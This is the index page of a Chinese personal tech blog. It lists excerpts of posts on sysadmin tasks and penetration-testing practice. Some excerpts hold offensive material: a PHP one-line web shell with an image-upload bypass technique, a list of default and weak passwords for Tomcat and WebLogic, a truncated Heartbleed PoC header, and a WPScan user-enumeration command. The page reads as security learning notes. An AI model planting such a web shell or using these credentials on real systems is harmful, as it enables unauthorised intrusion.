爱在西元间 - 博客园

Heartbleed漏洞复现

摘要：网上poc源码（采用python2.x环境） #!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author dis 阅读全文

posted @ 2021-08-10 17:04 爱在西元间阅读(132) 评论(0) 推荐(0)

centos一键安装java环境

摘要：安装包这个网址Java Archive Downloads - Java SE 8 tar zxvf /opt/java/jdk-8u181-linux-x64.tar.gz -C /opt/java > /dev/null 2>&1 echo '# JAVA-8u181' >> /etc/pro 阅读全文

posted @ 2021-08-09 13:03 爱在西元间阅读(296) 评论(0) 推荐(0)

docker安装WPScan扫描WordPress站点

摘要： 1、使用下面命令下载部署wpscan的docker环境 docker pull wpscanteam/wpscan 2、扫描 docker run -it --rm wpscanteam/wpscan --url https://target.tld/ --enumerate u https://t 阅读全文

posted @ 2021-07-23 15:54 爱在西元间阅读(839) 评论(0) 推荐(0)

CMD中关于find和findstr命令一点区别的发现和记录

摘要：首先我们都知道，windows系统中cmd环境下查看文本文件的命令是type，如果要在很多文本文件中搜索指定字段时可以用type *（类似linux系统的cat *）一时有点凌乱，东西有点多，随着深入查找，发现问题也有点多 1、chcp 936和chcp 65001的区别 2、find和finds 阅读全文

posted @ 2021-07-15 22:56 爱在西元间阅读(475) 评论(0) 推荐(0)

Linux配置mail发送登录通知邮件功能

摘要：安装mailx yum install mailx -y （centos环境）apt-get install mailutils -y （debian环境正在测试）配置mail vi /etc/mail.rc 直接在后面追加下面内容，这里用的腾讯企业邮箱 set smtp=smtps://smtp 阅读全文

posted @ 2021-07-13 16:32 爱在西元间阅读(1220) 评论(0) 推荐(1)

File "/bin/yum", line 30 except KeyboardInterrupt, e: SyntaxError: invalid syntax 报错的解决

摘要： yum安装包的报错信息如下： [root@iZb3kuz33l2fzfZ ~]# yum install screen -y File "/bin/yum", line 30 except KeyboardInterrupt, e: ^ SyntaxError: invalid syntax 是因为阅读全文

posted @ 2021-07-06 03:23 爱在西元间阅读(1625) 评论(0) 推荐(0)

批处理的个人日常使用集锦（持续更新）bat、cmd

摘要：做一个批处理的常见批量操作集合（之前的忘记写了，从现在开始一点点记下来，以前xp时代写过不少工具，有内网群扫ip并验证开机的，autorun病毒清除的，杀毒的，文件目录管理的等等） chcp 65001 采用utf-8编码，支持中文，解决乱码 1、复制当前目录下的1.xls到当前目录下的所有子目录中阅读全文

posted @ 2021-06-28 23:48 爱在西元间阅读(146) 评论(0) 推荐(0)

弱口令汇总

摘要：日常弱口令 123456 admin password admin@123 88888888 12345678 tomcat后台常见弱口令用户名： tomcat admin 口令： tomcat admin 123456 admin123 weblogic常见默认口令 weblogic:Oracl 阅读全文

posted @ 2021-06-28 22:09 爱在西元间阅读(167) 评论(0) 推荐(0)

php一句话图片马上传绕过

摘要：主页 burpsuite截获，修改后缀为php，末尾加上一句话马（内容开头一定要是图片文件标志头），上传成功并返回路径 <?php @eval($_POST['c']);?> 其他测试： 1、删掉部分图片内容时（图片文件头不对），无法上传 2、可以修改图片文件头为gif文件的标志头：GIF87a或者阅读全文

posted @ 2021-06-28 14:01 爱在西元间阅读(4635) 评论(0) 推荐(0)

linux口令文件shadow加密复现

摘要：创建测试账号abc，口令abcdefg useradd abcpasswd abc cat /etc/shadow 查看系统生成的口令 abc:$6$IIxEKxve$fRj6OFj7I4SqgdN6fVTFOHt8UVLpBNN50QbYp4MrS9SuX2Zi/J8qfDhfdRepQF4gBB 阅读全文

posted @ 2021-06-25 17:10 爱在西元间阅读(266) 评论(0) 推荐(0)

路漫漫其修远兮，吾将上下而求索

导航

公告